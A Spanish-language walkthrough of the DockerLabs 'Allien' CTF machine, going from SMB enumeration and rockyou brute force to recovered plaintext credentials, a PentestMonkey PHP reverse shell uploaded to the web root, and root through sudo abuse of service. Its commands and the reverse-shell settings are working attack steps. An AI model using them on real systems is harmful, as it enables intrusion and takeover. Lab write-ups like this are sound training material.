Maquina Allien
- OS: Linux
- Plataforma: DockerLabs
- Nivel: Easy
- Tags: #smb #brute-force #reverse-shell #sudo-abuse
Reconocimiento¶
Comienzo tirando un ping para comprobar la conectividad.
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=3.27 ms
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 3.274/3.274/3.274/0.000 ms
Ahora tiro un escaneo con nmap para ver que puertos tenemos abiertos.
> nmap -p- -sS --open --min-rate 5000 -Pn -n -vvv 172.17.0.2
-------------------------------------------------------------
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
MAC Address: 32:99:3C:A5:58:17 (Unknown)
- Puertos 22, 80, 139 y 445 abiertos.
Sobre los puertos abiertos realizo un segundo escaneo más profundo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.
> nmap -p 22,80,139,445 -sCV --min-rate 5000 -Pn -n -vvv -sS 172.17.0.2 -oN target.txt
---------------------------------------------------------------------------------------
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:a1:09:2d:be:05:58:1b:01:20:d7:d0:d8:0d:7b:a6 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGrGDto+yIluWWc28CO9WLop39MgTQepDrYpDWvwqPgqpC2Ea8ZtGQCObWL21GlJITWAdFSZS0HaWuo1Wl9nZ84=
| 256 cd:98:0b:8a:0b:f9:f5:43:e4:44:5d:33:2f:08:2e:ce (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICk8CRYpvJnqRBsGb/f/ZxXJoTikc4EQdeCBsvENuMwD
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Login
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
MAC Address: 32:99:3C:A5:58:17 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Puerto 22 SSH OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
- Puerto 80 HTTP Apache httpd 2.4.58 (Ubuntu)
- Puertos 139 y 445 SMB Samba smbd 4.6.2
Enumeración¶
Puerto 80 HTTP¶
La página principal muestra un formulario de login simple.
Fuzzing de Directorios.
Utilizo gobuster para descubrir recursos en el servidor web.
> gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -u http://172.17.0.2/ -x html,php,py,js,txt,json
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/info.php (Status: 200) [Size: 72710]
/index.php (Status: 200) [Size: 3543]
/server-status (Status: 403) [Size: 275]
/productos.php (Status: 200) [Size: 5229]
/index.php (Status: 200) [Size: 3543]
info.php
El archivo info.php muestra la configuración de PHP. En la sección disable_functions no hay ninguna función deshabilitada, lo cual es útil para la ejecución de comandos.
productos.php
Esta página parece ser la principal de la aplicación, probablemente a donde redirige después del login.
Puertos 139 y 445 SMB¶
Voy a enumerar los recursos a los que tengo acceso haciendo uso de una null session.
> smbmap -H 172.17.0.2
[+] IP: 172.17.0.2:445 Name: pressenter.hl
Disk Permissions Comment
---- ----------- -------
myshare READ ONLY Carpeta compartida sin restricciones
backup24 NO ACCESS Privado
home NO ACCESS Produccion
IPC$ NO ACCESS IPC Service (EseEmeB Samba Server)
- Tengo acceso de lectura al recurso
myshare
Me voy a conectar al recurso compartido myshare para ver que contiene.
> smbclient //172.17.0.2/myshare -N
> smb: \> ls
. D 0 Sun Oct 6 16:26:40 2024
.. D 0 Sun Oct 6 16:26:40 2024
access.txt N 956 Sun Oct 6 00:46:26 2024
- Existe un archivo
access.txtque me descargue.
Al examinar el archivo me encuentro con esto:
smb: \> get access.txt
smb: \> exit
> cat access.txt
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InNhdHJpYW5pN0Blc2VlbWViLmRsIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MjgxNjAzNzMsImV4cCI6MTcyODE2Mzk3MywiandrIjp7Imt0eSI6IlJTQSIsIm4iOiI2MzU4NTI5OTgwNzk4MDM4NzI2MjQyMzYxMjc2NTg2NjE3MzU1MzUyMTMxNjU0ODI2NDI1ODg4NDkzNTU1NDYxNTIyNTc1NTAwNjY0ODY2MDM4OTY4ODMwNTk4OTY0NjUxOTQ2NDEzMzU4OTI1MzU2OTM4MDQwMTE1MjQzMDg4MTg0NTg1MzQxMzY5NTQyNTgxNTQwOTc3MjMzMjU0MTQxNzQ5NzczNDQyODkwNjc3ODY2MjI3NzUyMzEzMzg2OTk1NzA1ODAxNzM0NjA2NDE1NjkyNTM5MjAyNzc5OTczMjczODgyNTc1NTUwMTIwMDc4NjUzNDc0MTU1MjMyMjkwMDAxNjM4NTIwMTExNTUyNjE1NDkwMjQyOTYyMDA4MjYxNDI4NzA0MjAxNjcwOTg0NDUyMjY1NzcwNyIsImUiOjY1NTM3fX0.bQhS5qLCv5bf3sy-oHS7ZGcqqjk3LqyJ5bv-Jw6DIIoSIkmBtiocq07F7joOeKRxS3roWdHEuZUMeHQfWTHwRH7pHqCIBVJObdvHI8WR_Gac_MPYvwd6aSAoNExSlZft1-hXJUWbUIZ683JqEg06VYIap0Durih2rUio4Bdzv68JIo_3M8JFMV6kQTHnM3CElKy-UdorMbTxMQdUGKLk_4C7_FLwrGQse1f_iGO2MTzxvGtebQhERv-bluUYGU3Dq7aJCNU_hBL68EHDUs0mNSPF-f_FRtdENILwF4U14PSJiZBS3e5634i9HTmzRhvCGAqY00isCJoEXC1smrEZpg
- El contenido parece ser un token JWT, pero no es útil para la explotación.
Enumeración de Usuarios SMB.
Con enum4linux puedo tratar de enumerar usuarios.
> enum4linux -a 172.17.0.2
--------------------------------------------------------------------------------------------------------------
> [+] Enumerating users using SID S-1-5-21-3519099135-2650601337-1395019858 and logon username '', password ''
S-1-5-21-3519099135-2650601337-1395019858-501 SAMBASERVER\nobody (Local User)
S-1-5-21-3519099135-2650601337-1395019858-513 SAMBASERVER\None (Domain Group)
S-1-5-21-3519099135-2650601337-1395019858-1000 SAMBASERVER\usuario1 (Local User)
S-1-5-21-3519099135-2650601337-1395019858-1001 SAMBASERVER\usuario2 (Local User)
S-1-5-21-3519099135-2650601337-1395019858-1002 SAMBASERVER\usuario3 (Local User)
S-1-5-21-3519099135-2650601337-1395019858-1003 SAMBASERVER\satriani7 (Local User)
S-1-5-21-3519099135-2650601337-1395019858-1004 SAMBASERVER\administrador (Local User)
- Usuarios de interés:
satriani7yadministrador
Explotación¶
Brute Force SMB¶
Al no tener mucha mas informacion opte por realizar un ataque de fuerza bruta contra el usuario satriani7 utilizando netexec.
> nxc smb 172.17.0.2 -u satriani7 -p /usr/share/wordlists/rockyou.txt
---------------------------------------------------------------------------
SMB 172.17.0.2 445 SAMBASERVER [+] SAMBASERVER\satriani7:50cent
- Encuentro las credenciales:
satriani7:50cent
Ahora puedo enumerar los recursos a los que tiene acceso satriani7.
> smbmap -H 172.17.0.2 -u satriani7 -p 50cent
[+] IP: 172.17.0.2:445 Name: pressenter.hl
Disk Permissions Comment
---- ----------- -------
myshare READ ONLY Carpeta compartida sin restricciones
backup24 READ ONLY Privado
home NO ACCESS Produccion
IPC$ NO ACCESS IPC Service (EseEmeB Samba Server)
satriani7tiene permiso de lectura en el recurso backup24.
Me voy a conectar al recurso para enumerarlo:
Dentro del recurso encuentro múltiples directorios y archivos y después de explorar, encuentro dos archivos interesantes en /Documents/Personal los cuales me descargue:
credentials.txtnotes.txt
El archivo credentials.txt contiene varias credenciales, incluyendo las del administrador.
> cat credentials.txt
# Archivo de credenciales
Este documento expone credenciales de usuarios, incluyendo la del usuario administrador.
7. Usuario: administrador
- Contraseña: Adm1nP4ss2024
- Credenciales:
administrador:Adm1nP4ss2024
Con estas nuevas creedenciales puedo volver a enumerar los recursos a los que tiene acceso el usuario administrador.
> smbmap -H 172.17.0.2 -u administrador -p Adm1nP4ss2024
[+] IP: 172.17.0.2:445 Name: pressenter.hl
Disk Permissions Comment
---- ----------- -------
myshare READ ONLY Carpeta compartida sin restricciones
backup24 NO ACCESS Privado
home READ, WRITE Produccion
IPC$ NO ACCESS IPC Service (EseEmeB Samba Server)
- Tengo permisos de lectura y escritura en el recurso
home
Al momento de conectarme al recurso veo lo siguiente.
> smbclient //172.17.0.2/home -U administrador%Adm1nP4ss2024
smb: \> ls
. D 0 Mon Nov 10 21:30:21 2025
.. D 0 Mon Nov 10 21:30:21 2025
info.php N 21 Sun Oct 6 01:32:50 2024
back.png N 463383 Sun Oct 6 01:59:29 2024
index.php N 3543 Sun Oct 6 14:28:45 2024
productos.php N 5229 Sun Oct 6 03:21:48 2024
styles.css
Podemos ver que estos archivos son identicos a los que encontramos mediante Fuzzing por lo cual esto quiere decir que seguramente esta sea la carpeta raiz de la web.
Reverse Shell¶
Tecnicamente, si el recurso home es la raiz de la web, todo lo que suba a este recurso se tiene que ver reflejado en la web.
Voy a descargar la reverse shell de PentestMonkey y la voy a subir al recurso home para tratar de ejecutarla desde la web.
Antes de subir la reverse-shell deberemos editar estas lineas del archivo:
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // TU IP
$port = 1234; // TU PUERTO
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
Ahora si podemos subir la reverse-shell al recurso home
smb: \> put php-reverse-shell.php
putting file php-reverse-shell.php as \php-reverse-shell.php (2681.0 kb/s) (average 1340.6 kb/s)
Antes de ejecutar la reverse-shell me tengo que poner en escucha:
Ahora puedo acceder a la reverse shell desde el navegador: http://172.17.0.2/php-reverse-shell.php
Y recibo la conexion exitosamente:
Connection received on 172.17.0.2 56350
Linux 0318689382b0 6.12.32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.32-1parrot1 (2025-06-27) x86_64 x86_64 x86_64 GNU/Linux
03:39:38 up 5:12, 0 user, load average: 0.92, 1.14, 1.94
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
Escalada de Privilegios¶
Dentro del sistema enumere binarios con privilegios de SUDO.
www-data@0318689382b0:/$ sudo -l
User www-data may run the following commands on 0318689382b0:
(ALL) NOPASSWD: /usr/sbin/service
- Puedo ejecutar
servicecomo root sin contraseña.
Consulto GTFOBins para encontrar formas de abusar de service y escalar a root y encuentro lo siguiente:
www-data@0318689382b0:/$ sudo /usr/sbin/service ../../bin/sh
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
- Somos root.
PWNED




